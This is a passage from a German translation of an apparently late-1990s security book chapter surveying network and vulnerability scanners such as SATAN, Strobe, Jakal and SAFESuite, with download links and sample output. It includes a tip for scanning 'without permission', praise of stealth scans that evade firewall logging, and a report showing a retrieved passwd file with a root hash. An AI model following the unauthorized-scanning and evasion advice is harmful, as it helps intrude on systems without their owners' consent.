FreeBSD, wenn Sie woanders keine Root-Privilegien haben (und nicht einen Haufen Geld ausgeben
wollen, um ein paar Scans durchzuführen).
NSS kommt als tar.gz-Datei. Sie brauchen also Archivierungstools, die diese Formate bearbeiten können.
NSS macht nun folgendes:
Generieren der Domain-Auflistung bzw. Angaben darüber, daß eine solche Auflistung nicht
existiert
Senden von Pings an den Host, um seine Bereitschaft sicherzustellen
Scannen der Ports des Zielhosts
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (9 von 31) [19.04.2000 21:14:36]
Aufzeichnen der Sicherheitslöcher am Zielhost
Installations- und Kompatibilitätsaspekte
Bevor Sie den NSS tatsächlich benutzen können, müssen Sie mehrere Umgebungseinstellungen
vornehmen:
$TMPDIR - das temporäre Directory, das von NSS benutzt wird
$YPX - das Directory, in dem sich das ypx-Utility befindet
$PING - das Directory, in dem sich das ausführbare ping befindet
$XWININFO - das Directory, in dem sich xwininfo befindet
Tip:
Ihr Perl-Include-Directory (in dem sich die Perl-Include-Dateien befinden) muß im Pfad enthalten sein.
Außerdem benötigen Sie die ftplib.pl-Bibliothek. Dieses Paket finden Sie unter
http://floyd.msfc.nasa.gov/msg/webtools/glimpse/webglimpse/lib/ftplib.pl .
Schließlich verfügt NSS über parallele Möglichkeiten, kann Prozesse aufteilen und den Scan-Vorgang
zwischen mehreren Workstations verteilen. Wenn Sie NSS ohne Erlaubnis benutzen, sollten Sie diese
Funktionen deaktivieren (es sind Optionen, die im Code angegeben werden können). Sie erhalten NSS
unter
http://www.giga.or.at/pub/hacker/unix/nss.tar.gz.
10.2.3 Strobe
Scannertyp: TCP-Port-Scanner
Autor: Julian Assange
Programmiersprache: C
Entwicklungsplattform: Unix (generell)
Zielplattform: Unix
Anforderungen: Unix, C, IP-Header-Dateien
Strobe (der Super Optimized TCP Port Surveyor) protokolliert alle offenen Ports eines Rechners. Seine
Hauptmerkmale sind:
Er ist schnell (er kann in weniger als einer Stunde ein kleines Land scannen)
Er ist klein
Er ist kostenlos
Strobe erkennt schnell, welche Dienste am Ziel laufen, und kann eine Auflistung möglicher
Einstiegspunkte generieren. Eine typische Ausgabe eines Strobe-Scan-Vorgangs sieht so aus:
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (10 von 31) [19.04.2000 21:14:36]
localhost echo 7/tcp Echo [95,JBP]
localhost discard 9/tcp Discard [94,JBP]
localhost systat 11/tcp Active Users [89,JBP]
localhost daytime 13/tcp Daytime [93,JBP]
localhost netstat 15/tcp Netstat
localhost chargen 19/tcp Character Generator [92,JBP]
localhost ftp 21/tcp File Transfer [Control] [96,JBP]
localhost telnet 23/tcp Telnet [112,JBP]
localhost smtp 25/tcp Simple Mail Transfer [102,JBP]
localhost time 37/tcp Time [108,JBP]
localhost finger 79/tcp Finger [52,KLH]
localhost pop3 0/tcp Post Office Protocol-Version 3 122
localhost sunrpc 111/tcp SUN Remote Procedure Call [DXG]
localhost auth 113/tcp Authentication Service [130,MCSJ]
localhost nntp 119/tcp Network News Transfer Protocol 65,PL4
Wie Sie sehen, sind die Informationen nur diagnostisch. (Strobe überprüft beispielsweise nicht nach
bestimmten Sicherheitslöchern.) Außerdem wurde Strobe seit einiger Zeit nicht mehr aktualisiert.
Dennoch kompensiert Strobe das durch erweiterte Funktionalität. Es gibt eine Vielzahl an
Befehlszeilen-Optionen, mit deren Hilfe Sie Ihre Scans anpassen können. Zum Beipiel können Sie alle
doppelten Port-Beschreibungen deaktivieren. (Nur die erste Definition wird gedruckt). Andere
Annehmlichkeiten sind:
Befehlszeilen-Option zur Spezifizierung von Start- und End-Ports
Befehlszeilen-Option zur Spezifizierung eines Zeitraums, nach dessen Ablauf ein Scan beendet
wird, wenn er keine Antwort von einem Port oder Host erhält
Befehlszeilen-Option zur Spezifizierung der Anzahl der benutzten Sockets
Befehlszeilen-Option zur Spezifizierung einer Datei, von der Strobe seinen Zielhost entnimmt
Strobe wird in der Regel als tar.gz-Datei verteilt. Eine volle Hauptseite und die Binärdatei sind in dieser
Distribution enthalten.
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (11 von 31) [19.04.2000 21:14:36]
Installations- oder Kompatibilitätsaspekte
Es gibt ein bekanntes Problem mit Solaris 2.3. Um einen Kernspeicherabzug zu verhindern, deaktivieren
Sie die Benutzung von getpeername() und fügen Sie der Befehlszeile die -g- Flag bei.
Obwohl Strobe keine Überprüfungen auf entfernten Hosts durchführt, hinterläßt er Spuren. Ein Host, der
mit Strobe gescannt wurde, wird dies wissen.
Strobe können Sie unter folgenden URLs erhalten:
http://www.discordia.ch/killer/unix/strobe.tgz
ftp://ftp.win.or.jp/pub/network/misc/strobe-1.04.tgz
http://www.wizardsworld.com/security/strobe.tgz
http://www.madness.org/misc/strobe.tgz
10.2.4 SATAN (Security Administrator's Tool for Analyzing Networks)
Scannertyp: TCP-Port-Scanner
Autoren: Dan Farmer und Wietse Venema
Programmiersprache: C, Perl
Entwicklungsplattform: Unix (generell)
Zielplattform: Unix
Anforderungen: Unix, Perl 5.001+, C, IP-Header-Dateien und Root
SATAN wurde im April 1995 freigegeben und hat für einige Aufregung gesorgt. Überall im Land
erschienen Artikel über SATAN. Nationale Nachrichtensendungen warnten vor einer Freigabe von
SATAN. Tatsächlich erhielt SATAN mehr Aufmerksamkeit von seiten der Presse als jedes andere
Sicherheitstool.
Wofür die ganze Aufregung? Kurz gesagt: SATAN war der vollkommene Scanner. Er kann nicht nur
nach allen bekannten Schwachstellen suchen, sondern verfügt auch über Lernprogramme. Diese
Lernprogramme beschreiben die Schwachstellen im Detail, wie sie ausgenutzt werden können und wie
sie geschlossen werden können. Und das ist noch nicht alles: SATAN ist der erste Scanner, der diese
Informationen in benutzerfreundlichem Format darstellt.
Das Programm kann bedient werden über ein HTML-Interface mit Formularen für die Eingabe von
Zielen, Tabellen für die Darstellung von Resultaten und Kontext-sensiblen Lernprogrammen, die
erscheinen, wenn ein Sicherheitsloch gefunden wurde. Es ist ein hervorragendes Tool, gut geschrieben
und erweiterbar.
Die Autoren von SATAN sind für ihre Sachkenntnis in punkto Sicherheit hoch angesehen. Leser, die
SATAN nicht kennen, erinnern sich vielleicht an Dan Farmer als Co-Autor des Computer Oracle and
Password System (COPS). COPS ist für die Unix-Gemeinde schon seit langem Standard für das
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (12 von 31) [19.04.2000 21:14:36]
Überprüfen lokaler Hosts auf Sicherheitslöcher. Venema ist der Autor von TCP_Wrapper, einem Tool
für Stapelprotokollierung und Paketfilterung. Beide Männer sind begabte Programmierer, Hacker (keine
Cracker) und Autoritäten im Bereich Sicherheit im Internet.
SATAN wurde für Unix entwickelt. Er wurde in C und Perl geschrieben und läuft daher auf einer großen
Vielfalt von Unix-Versionen, auf manchen ohne jegliches Portieren, auf anderen mit mäßigem bis
intensivem Portieren.
Hinweis:
Wenn Sie SATAN auf Linux laufen lassen wollen, tritt folgendes Problem auf: Die Originaldistribution
folgt gewissen Regeln, die in einem fehlerhaften Arbeitsablauf auf Linux resultieren. Ein weiteres
Problem stellt sich durch die Art, wie der select-Aufruf in das tcp-scan-Modul implementiert ist. (In den
folgenden Abschnitten finden Sie hierfür Abhilfe.) Und schließlich resultiert das Scannen eines
gesamten Teilnetzes auf einmal in einer umgekehrten fping-Bombe, die Socketpuffer überlaufen läßt.
SATAN überprüft entfernte Hosts auf bekannte Sicherheitslöcher, darunter:
ftpd-Schwachstellen und beschreibbare FTP-Directories
NFS-Schwachstellen
NIS-Schwachstellen
rsh-Schwachstellen
Sendmail-Schwachstellen
X-Server-Schwachstellen
Installations- oder Kompatibilitätsaspekte
SATAN extrahiert sich in ein Verzeichnis /satan-1.1.1. Der erste Schritt (nach Lesen der Dokumentation)
ist, das Perl-Skript reconfig zu starten. Dieses Skript sucht nach verschiedenen Komponenten (die
wichtigste davon Perl) und definiert Verzeichnispfade.
Das Skript reconfig wird beendet, wenn es keinen Browser identifizieren oder definieren kann. Wenn Sie
Ihren Browser nicht im Standardverzeichnis installiert haben (und sich das Verzeichnis nicht im Pfad
befindet), müssen Sie diese Variable manuell einstellen.
Wenn Sie keinen DNS laufen lassen, müssen Sie dies außerdem in /satan-1.1.1/conf/ satan.cf wie folgt
angeben:
$Dont_use_nslookup = 1;
Nach Erledigen der PATH-Aspekte, können Sie einen Scan-Vorgang starten. Während dieses Prozesses
müssen Sie Ihre Plattform spezifizieren (make IRIX oder make SunOS). Ich empfehle Ihnen, beim
Kompilieren genau auf Fehler zu achten.
Tip:
Scanner
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SATAN frißt mehr Ressourcen als gewöhnliche Scanner. Wenn Sie eine ungenügende Performance
feststellen, gibt es mehrere Lösungsansätze. Eine ist, mehr RAM und größere Prozessorleistung zur
Verfügung zu stellen. Wenn dies nicht machbar ist, schlage ich Ihnen zwei Dinge vor: Erstens sollten
Sie so viele andere Prozesse wie möglich ausschalten. Zweitens sollten Sie die Zahl der Hosts, die in
einem Scan-Vorgang überprüft werden, auf hundert oder weniger limitieren. Und schließlich gibt es
noch die Möglichkeit, SATAN im Befehlszeilen-Modus laufen zu lassen, wenn Sie wirklich nur limitierte
Ressourcen zur Verfügung haben.
Spezielle Bemerkungen zu SATAN und Linux
Damit SATAN auf Linux läuft, müssen Sie einige Modifikationen vornehmen:
Die Datei tcp_scan produziert inkompatible select()-Aufrufe. Um dieses Problem zu beseitigen, holen Sie
sich den Patch unter http://recycle.jlab.org/~doolitt/satan/ tcp_scan.diff2 oder
/pub/Linux/system/Network/admin/satan-linux.1.1.1.diff.gz.
Sie brauchen BSD-4.4-kompatible Netinfo-Include-Dateien. Diese finden Sie unter http://
recycle.jlab.org:80/~doolitt/satan/BSD-4.4-includes.tar.gz
Sie benötigen die aktuellste Version von Perl. Diese bekommen Sie unter
http://language.perl.com/info/software.html .
Sie brauchen die aktuellste Version von bash. (Überprüfen Sie Ihre Distribution und wenden Sie sich
gegebenenfalls an Ihren Anbieter.)
SATAN erhalten Sie unter http://www.trouble.org/~zen/satan/satan.html.
Hinweis:
Das größte Problem, über das Linux-Anwender berichten, ist, daß SATANs HTML-Interface nicht
funktioniert. Wenn man auf die Links für die Bedienfelder drückt, stürzt Netscape ab (oder es passiert
nichts). Hier ist die Lösung: Gehen Sie zu PREFERENCES | APPLICATION und löschen Sie die
Referenz .pl-Erweiterung, so daß PERL-Dateien korrekt ausgeführt werden. (Warnung: Löschen Sie auf
gar keinen Fall die Referenz zu PERL-Dateien, sondern nur die zu den Erweiterungen. Sonst werden Sie
richtige Probleme haben.) Nach Löschen der .pl-Referenz starten Sie Ihren Rechner neu und starten
Sie dann SATAN. Die Links werden jetzt perfekt funktionieren.
10.2.5 Ballista
Secure Networks, Inc.
Kontakt: Alfred Huger
Tel.: +1-403-262-9211
Fax: +1-403-262-9221
E-Mail: ahuger@secnet.com
Scanner
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URL: http://www.securenetworks.com/ oder http://www.secnet.com/
Ballista führt über 300 separate Überprüfungen auf verschiedene Sicherheitsschwachstellen durch. Viele
halten Ballista seinen Konkurrenzprodukten gegenüber für überlegen. Von besonderem Interesse ist, daß
Ballista nicht nur Überprüfungen von Unix-Netzwerken durchführen kann, sondern auch
Windows-NT-Netzwerke auf die folgenden Schwachstellen untersucht:
Aufzählung der aktiven Benutzer
Verbindungen mit IPC$ als Nullbenutzer
Aufzählung der Netzwerktransporte
Aufzählung der Gruppen
Informationen über IP-Adressen aus dem Registry
Informationen über den Rechner aus dem Registry
Paßwort-Zerstückelung (über IPC$)
Probleme in bezug auf Registry-Genehmigungen
Überprüfung von entfernten Zugängen
Aufzählung von gemeinsam benutzbaren Diensten
Aufzählung von Benutzern
Raten von Benutzer-Identifikationen
Insgesamt ist Ballista ein ausgezeichnetes Paket, um einen schnellen Überblick über die Schwachstellen
Ihres Netzwerks zu bekommen. Dieser Scanner läuft sowohl unter Windows NT als auch unter Unix.
10.2.6 Jakal
Scannertyp: TCP-Port-Scanner
Autor: Halflife Jeff (Phiji) Fay und Abdullah Marafie
Programmiersprache: C
Entwicklungsplattform: Unix (generell)
Zielplattform: Unix
Anforderungen: Unix, C, IP-Header-Dateien
Jakal ist ein Stealth-Scanner, der dazu entwickelt wurde, hinter Firewalls zu scannen. Den Autoren
zufolge haben es die Alpha-Test-Sites nicht geschafft, irgendeine Aktivität zu protokollieren. (Obwohl
sie auch zugeben, daß »einige Firewalls SYN | FIN durchließen«.) Für weitere Informationen schauen
Sie sich die Dokumentation zu Jakal an: http://www.unitedcouncil.org/c/jakal.c .
Stealth-Scanner sind ein neues Phänomen. Zweifelsohne werden sie sich immer weiter verbreiten, je
mehr Firewalls es im Netz gibt. Das ist immerhin ein relativ neues Expertengebiet. Wenn Sie Jakal testen
und feststellen, daß einige Protokollmeldungen erscheinen, seien Sie nicht zu streng.
Stealth-Scanner führen halbe Scanvorgänge aus, die SYN-ACK-Transaktionen mit dem Zielrechner
Scanner
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starten (aber niemals beenden). Stealth-Scan-Vorgänge umgehen Firewalls und entziehen sich
Port-Scanning-Detektoren. Mit Hilfe von Stealth-Scannern können Sie ganz leise herausfinden, welche
Dienste hinter einer Firewall laufen.
Jakal finden Sie unter http://www.unitedcouncil.org/c/jakal.c.
10.2.7 IdentTCPscan
Scannertyp: TCP-Port-Scanner
Autor: Dave Goldsmith
Programmiersprache: C
Entwicklungsplattform: Unix (generell)
Zielplattform: Unix
Anforderungen: Unix, C, IP-Header-Dateien
IdentTCPscan ist ein eher spezialisierter Scanner. Er identifiziert die Besitzer aller TCP- Port-Prozesse
anhand ihrer UID. Hier ein Ausschnitt aus einer Testausgabe:
Port: 7 Service: (?) Userid: root
Port: 9 Service: (?) Userid: root
Port: 11 Service: (?) Userid: root
Port: 13 Service: (?) Userid: root
Port: 15 Service: (?) Userid: root
Port: 19 Service: (?) Userid: root
Port: 21 Service: (?) Userid: root
Port: 23 Service: (?) Userid: root
Port: 25 Service: (?) Userid: root
Port: 37 Service: (?) Userid: root
Port: 79 Service: (?) Userid: root
Port: 80 Service: (?) Userid: root
Port: 110 Service: (?) Userid: root
Scanner
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Port: 111 Service: (?) Userid: root
Port: 113 Service: (?) Userid: root
Port: 119 Service: (?) Userid: root
Port: 139 Service: (?) Userid: root
Port: 513 Service: (?) Userid: root
Port: 514 Service: (?) Userid: root
Port: 515 Service: (?) Userid: root
Port: 540 Service: (?) Userid: root
Port: 672 Service: (?) Userid: root
Port: 2049 Service: (?) Userid: root
Port: 6000 Service: (?) Userid: root
Durch die Identifizierung der UID für jeden Prozeß können Sie übliche Fehlkonfigurationen leicht
entdecken. Zum Beispiel finden Sie in Zeile 12 der vorangehenden Ausgabe einen schweren
Konfigurationsfehler. An Port 80 läuft httpd als Root. Dies ist ein Sicherheitsproblem, da Angreifer, die
Schwachstellen in Ihrem CGI (Common Gateway Interface) ausnutzen, Ihre Prozesse auch als Root
laufen lassen können.
IdentTCPscan ist extrem schnell. Dieses Utility kompiliert und arbeitet gleich gut unter Linux, BSDI und
SunOS. Das Paket kommt als komprimierte Datei mit C-Source und braucht zum Ablaufen nur minimale
Netzwerk-Ressourcen. Es läßt sich ohne Probleme mit Hilfe fast jeden C-Compilers aufbauen.
Wegweiser:
Hier können Sie IdentTCPscan von David Goldsmith (freigegeben am 11. Februar 1996) bekommen:
http://www.asmodeus.com/archive/crack-scan/ identTCPscan.c.
10.2.8 Ogre
Scannertyp: TCP-Port-Scanner
Autor: Chameleon, Humble und NeonSurge von Rhino9
Programmiersprache: Unbekannt
Entwicklungsplattform: Windows
Zielplattform: Windows NT
Scanner
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Anforderungen: Microsoft Windows 95 oder Windows NT
Ogre ist interessant, weil er Informationen über NetBIOS-Aktivitäten sammelt. Ogre führt die folgenden
Überprüfungen durch:
Er identifiziert aktive Hosts im Zielnetzwerk.
Er überprüft diese Hosts auf verfügbare entfernte Dienste.
Er sammelt statistische NetBIOS-Informationen.
Er überprüft sichtbare gemeinsame Netzwerk-Dienste.
Er prüft auf Microsoft-FrontPage-Server-Erweiterungen.
Er prüft auf die IIS-Admin-HTML-Administrationsseite.
Die Entwickler von Ogre beschreiben ihren Scanner als:
...ein entferntes Netzwerk-Auditing-Tool, das für die Benutzung durch Windows-NT-
Administratoren bestimmt ist. Ogre führt eine Vielfalt an Tests auf dem Zielnetzwerk durch,
hauptsächlich sucht er nach bekannten ausnutzbaren Schwachstellen in bestimmten 95- und
NT-Software-Installationen.
Scanner wie Ogre sind erst kürzlich aufgetaucht. Da es mittlerweile jedoch bekannt ist, daß Windows NT
anfällig für entfernte Angriffe ist, können Sie eine Verbreitung dieser Tools erwarten.
10.2.9 WebTrends Security Scanner (vormals Asmodeus)
Scannertyp: TCP-Port-Scanner und NetBIOS-Scanner
Autor: WebTrends Corporation
Programmiersprache: C
Entwicklungsplattform: Windows NT
Zielplattform: Unix, Windows NT
Anforderungen: Windows NT 4.0
WSS ist eine seltsame Mischung aus verschiedenen Tools. Diese Applikation wurde ursprünglich
Asmodeus genannt (geschrieben von Greg Hoglund). WSS ist einzigartig, weil er nicht nur einfach ein
Port-Scanner ist, sondern in seiner Standard-Distribution auch einen Sniffer enthält.
Der WSS-Sniffer ist hinreichend fortschrittlich, so daß Sie ihn als Paketfilter einsetzen können. Zum
Beispiel können Sie verschiedenen Angriffsmustern spezielle Signaturen zuordnen und Warnungen
spezifizieren, wenn solche Muster gefunden werden.
WSS ist sogar erweiterbar. Er kommt mit einer Basis-Skriptsprache, die einer Mischung aus Perl und
JavaScript ähnelt. Die Skriptsprache verfügt über vorgebaute Module, die es Ihnen ermöglichen, ein
Dutzend verschiedene Werte, darunter IP-Adresse, Hostname, Pakettyp usw. als fehlerhaft zu
kennzeichnen. Alles in allem ist WSS ein sehr vollständiges Paket. Sie finden WSS unter:
http://www.webtrends.com/wss/
Scanner
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10.2.10 Internet Security Scanner und SAFESuite
Scannertyp: TCP-Port-Scanner
Autor: Internet Security Systems
Programmiersprache: C
Entwicklungsplattform: Unix oder Windows NT
Zielplattform: Unix oder Windows NT
Anforderungen: Unix oder Windows NT
Vor einigen Jahren stellte Christopher Klaus einen einfachen und wirksamen Scanner namens ISS,
Internet Security Scanner, vor. ISS war der erste seiner Art und rief unterschiedliche Reaktionen hervor.
Viele Leute dachten, daß die kostenlose Freigabe eines solchen Tools die sowieso schon fragile
Sicherheit des Internet gefährden würde. Klaus sprach diesen Punkt in der Dokumentation zu ISS an:
Die Freigabe an die Öffentlichkeit oder zumindest an die Leute, die sich mit Sicherheit
befassen, wird manche Leute veranlassen zu denken, daß dieses Tool zu gefährlich für die
Öffentlichkeit ist. Aber viele Cr(H)acker kennen die Sicherheitslöcher und wissen, wie sie
sie ausnutzen können. Diese Sicherheitslöcher sind nicht tief in irgendwelchen OS-Routinen
verborgen, sondern sie sind Standard-Fehlkonfigurationen, die in vielen Domains auf dem
Internet zu sehen sind. Vor vielen dieser Löcher wird in CERT- oder CIAC-Hinweisen
gewarnt.
Frühe Distributionen von ISS umfaßten den Source-Code. Für diejenigen unter Ihnen, die sich dafür
interessieren, die Komponenten eines erfolgreichen und effektiven Scanners zu untersuchen, ist hier die
URL des vollständigen Source-Codes:
http://www.giga.or.at/pub/hacker/unix/iss.tar.gz
Das Utility ist seit seiner ersten Freigabe sehr beliebt geworden. Das Entwicklungsteam von Internet
Security Systems ist seiner Tradition für kleine, portierbare Utilities treu geblieben; SAFESuite ist sein
aktuellstes Produkt. Gegenüber früheren Versionen wurden erhebliche Verbesserungen vorgenommen.
SAFESuite besteht aus mehreren Scannern:
dem Intranet-Scanner
dem Web-Scanner
dem Firewall-Scanner
SAFESuite ist SATAN und Nessus insofern ähnlich, daß die Konfiguration und das Management des
Programms über eine grafische Benutzeroberfläche stattfinden. Dies spart Zeit und Mühe und ermöglicht
auch das schnelle und bequeme Sichten von Berichten. SAFESuite hat jedoch noch ein weiteres
Merkmal: Es läuft nicht nur auf Unix, sondern auch auf Windows NT.
SAFESuite führt eine Vielfalt von Angriffen auf verschiedene Dienste durch:
Sendmail
Scanner
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FTP
NNTP
Telnet
RPC
NFS
Die Leute von ISS beschreiben SAFESuite so:
SAFESuite ist der schnellste, umfassendste proaktive Unix-Netzwerk-Sicherheitsscanner auf
dem Markt. Er ist einfach zu konfigurieren, führt Überprüfungen schnell durch und
generiert umfassende Berichte. SAFESuite prüft eine Netzwerkumgebung auf ausgewählte
Sicherheitsschwachstellen und simuliert dabei die Techniken eines entschlossenen Hackers.
Abhängig von den Berichtsoptionen, die Sie auswählen, gibt SAFESuite Ihnen die folgenden
Informationen über jede gefundene Schwachstelle: Ort, detaillierte Beschreibung und
Vorschläge für Gegenmaßnahmen.
Wenn Sie frühere ISS-Versionen benutzt haben, werden Sie die SAFESuite-Distribution auf alle Fälle
wesentlich verbessert finden. Zum Beispiel unterstützten frühere Versionen kein GUI. Aus diesem Grund
stelle ich Ihnen nachfolgend kurz die Vorbereitungen für eine Überprüfung mit diesem Tool vor.
System-Anforderungen
Die Windows-NT-Version von SAFESuite ist mittlerweile verfügbar und hat umfangreiche Testläufe
überstanden. Tabelle 10.1 listet die Systemanforderungen von SAFESuite auf.
Tabelle 10.1: Installationsanforderungen für SAFESuite
Element Anforderung
Prozessorgeschwindigkeit keine Angaben
RAM 16 Mbyte oder mehr
Netzwerk TCP/IP
Privilegien Root oder Administrator
Speicherbelegung ca. 5 Mbyte
Browser Jeder HTML-3-Browser-Client
Verschiedenens Solaris-Rechner brauchen Motif 1.22+
SAFESuite läuft ebenfalls auf vielen Unix-Versionen:
SunOS 4.1.3 oder spätere
Solaris 2.3 oder spätere
HP/UX 9.05 oder spätere
IBM-AIX 3.2.5 oder spätere
Scanner
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Linux 1.2.x (mit Kernel-Patch)
Linux 1.3.x vor 1.3.75 (mit Patch)
Linux 1.3.76+ (kein Patch notwendig)
Hinweis:
Sie müssen einen Webbrowser haben, um sich die SAFESuite-Dokumentation anzusehen. Wenn Sie
keinen Browser bestimmen, wird die Hilfe-Option im Hauptmenü-Fenster nicht funktionieren. Wenn Sie
einen Grund dafür haben, keinen Browser anzugeben - oder wenn auf dem Rechner, den Sie benutzen,
kein Browser ist -, können Sie sich trotzdem das gesamte Lernprogramm und das Handbuch auf einem
anderen Rechner ansehen. Übertragen Sie einfach alle HTML-Dateien in ein Verzeichnis Ihrer Wahl,
starten Sie einen Browser und öffnen Sie index.html. Die Links werden lokal problemlos funktionieren.
Spezielle Merkmale
SAFESuite ist gut erweiterbar. Sie können daher selbstgeschriebenen speziellen Code für Überprüfungen
von Teilen des Netzwerks, die nicht von SAFESuite vorgesehen sind, in den Scan-Vorgang integrieren
(wie auch mit SATAN und Nessus möglich).
Tip:
Auch wenn Sie keine eigenen Sicherheitstools schreiben, können Sie den Code anderer als Patch
einfügen. Zum Beispiel gibt es viele nichtetablierte Scanner, die ganz spezielle Aufgaben durchführen.
Es gibt keinen Grund, diese Tools nicht fest in den SAFESuite-Scan-Vorgang zu integrieren.
Hinweis:
Das SAFESuite-Programm beinhaltet eine Funktion zur Erstellung von Netzwerk-Übersichtskarten.
Diese Karten sind eine grafische Darstellung Ihres Netzwerks, in der potentielle Gefahrenstellen visuell
hervorgehoben werden. Zusammen mit anderen Netzwerkarchitektur-Tools (von denen viele nicht
unbedingt auf Sicherheit ausgerichtet sind) können Produkte wie SAFESuite Ihnen helfen, schnell eine
sichere Netzwerk-Topologie zu entwerfen.
Wegweiser:
Für weitere Informationen über den Kauf, die Benutzung oder die Konfiguration von SAFESuite setzen
Sie sich mit ISS in Verbindung. (http:// www.ISS.net/).
Berichterstellung
SAFESuite generiert detaillierte Berichte, einschließlich Lernprogrammen für jede Schwachstelle. Auch
in dieser Hinsicht ähnelt SAFESuite sowohl SATAN als auch Nessus. Eine typische Ausgabe sieht wie
folgt aus:
# Rlogin Binding to Port
# Connected to Rlogin Port
# Trying to gain access via Rlogin
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (21 von 31) [19.04.2000 21:14:36]
127.0.0.1: ---- rlogin begin output ----
127.0.0.1: ---- rlogin end output ----
# Rlogin check complete, not vulnerable.
# Time Stamp(555): Rsh check: (848027962) Thu Nov 14 19:19:22
# Checking Rsh For Vulnerabilities
# Rsh Shell Binding to Port
# Sending command to Rsh
127.0.0.1: bin/bin logged in to rsh
127.0.0.1: Files grabbed from rsh into './127.0.0.1.rsh.files'
127.0.0.1: Rsh vulnerable in hosts.equiv
# Completed Checking Rsh for Vulnerability
root:bBndEhmQlYwTc:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (22 von 31) [19.04.2000 21:14:36]
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
127.0.0.1: ---- FTP version begin output ----
SamsHack FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995)
ready.
127.0.0.1: ---- FTP version end output ----
127.0.0.1: Please login with USER and PASS.
127.0.0.1: Guest login ok, send your complete e-mail address as
password.
127.0.0.1: Please login with USER and PASS.
127.0.0.1: ANONYMOUS FTP ALLOWED
127.0.0.1: Guest login ok, access restrictions apply.
127.0.0.1: "/" is current directory.
127.0.0.1: iss.test: Permission denied.
127.0.0.1: iss.test: Permission denied. (Delete)
127.0.0.1: Entering Passive Mode (127,0,0,1,4,217)
127.0.0.1: Opening ASCII mode data connection for /bin/ls.
127.0.0.1: Transfer complete.
127.0.0.1: Entering Passive Mode (127,0,0,1,4,219)
127.0.0.1: Opening ASCII mode data connection for /etc/passwd (532
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (23 von 31) [19.04.2000 21:14:36]
bytes).
127.0.0.1: Transfer complete.
127.0.0.1: Files grabbed via FTP into ./127.0.0.1.anonftp.files
127.0.0.1: Goodbye.
Wie Sie an der Ausgabe erkennen können, wurde die passwd-Datei zur Übertragung mit FTP in eine
Datei gebracht. Die hauptsächlichen Schwachstellen, die bei der Überprüfung festgestellt wurden, waren
u.a.:
HTTPD lief als root und machte somit SamsHack.net anfällig für CGI-Exploits.
SamsHack.net war anfällig für rsh-Angriffe.
Das FTP-Directory von SamsHack.net erlaubt anonymen Benutzern den Zugriff auf die
passwd-Datei.
Die andere Seite des Zauns
SAFESuite hinterläßt deutliche Spuren. Der Überprüfungsvorgang, der den obigen Bericht
hervorbrachte, wurde an die Datei /var/adm/messages gemeldet. Schauen Sie sich die Ausgabe an:
Nov 10 21:29:38 SamsHack ps[159]: connect from localhost
Nov 10 21:29:38 SamsHack netstat[160]: connect from localhost
Nov 10 21:29:38 SamsHack in.fingerd[166]: connect from localhost
Nov 10 21:29:38 SamsHack wu.ftpd[162]: connect from localhost
Nov 10 21:29:38 SamsHack in.telnetd[163]: connect from localhost
Nov 10 21:29:39 SamsHack ftpd[162]: FTP session closed
Nov 10 21:29:39 SamsHack in.pop3d[169]: connect from localhost
Nov 10 21:29:40 SamsHack in.nntpd[170]: connect from localhost
Nov 10 21:29:40 SamsHack uucico[174]: connect from localhost
Nov 10 21:29:40 SamsHack in.rlogind[171]: connect from localhost
Nov 10 21:29:40 SamsHack in.rshd[172]: connect from localhost
Nov 10 21:29:40 SamsHack telnetd[163]: ttloop: read: Broken pipe
Nov 10 21:29:41 SamsHack nntpd[170]: localhost connect
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (24 von 31) [19.04.2000 21:14:36]
Nov 10 21:29:41 SamsHack nntpd[170]: localhost refused connection
Nov 10 21:29:51 SamsHack ps[179]: connect from localhost
Nov 10 21:29:51 SamsHack netstat[180]: connect from localhost
Nov 10 21:29:51 SamsHack wu.ftpd[182]: connect from localhost
Nov 10 21:29:51 SamsHack in.telnetd[183]: connect from localhost
Nov 10 21:29:51 SamsHack in.fingerd[186]: connect from localhost
Nov 10 21:29:51 SamsHack in.pop3d[187]: connect from localhost
Nov 10 21:29:52 SamsHack ftpd[182]: FTP session closed
Nov 10 21:29:52 SamsHack in.nntpd[189]: connect from localhost
Nov 10 21:29:52 SamsHack nntpd[189]: localhost connect
Nov 10 21:29:52 SamsHack nntpd[189]: localhost refused connection
Nov 10 21:29:52 SamsHack uucico[192]: connect from localhost
Nov 10 21:29:52 SamsHack in.rshd[194]: connect from localhost
Nov 10 21:29:52 SamsHack in.rlogind[193]: connect from localhost
Nov 10 21:29:53 SamsHack login: ROOT LOGIN ON tty2
Nov 10 21:34:17 SamsHack ps[265]: connect from pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack netstat[266]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack wu.ftpd[268]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:22 SamsHack ftpd[268]: FTP session closed
Nov 10 21:34:22 SamsHack in.telnetd[269]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.fingerd[271]: connect from
pm7-6.pacificnet.net
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (25 von 31) [19.04.2000 21:14:36]
Nov 10 21:34:23 SamsHack uucico[275]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.pop3d[276]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.rlogind[277]: connect from
pm7-6.pacificnet.net
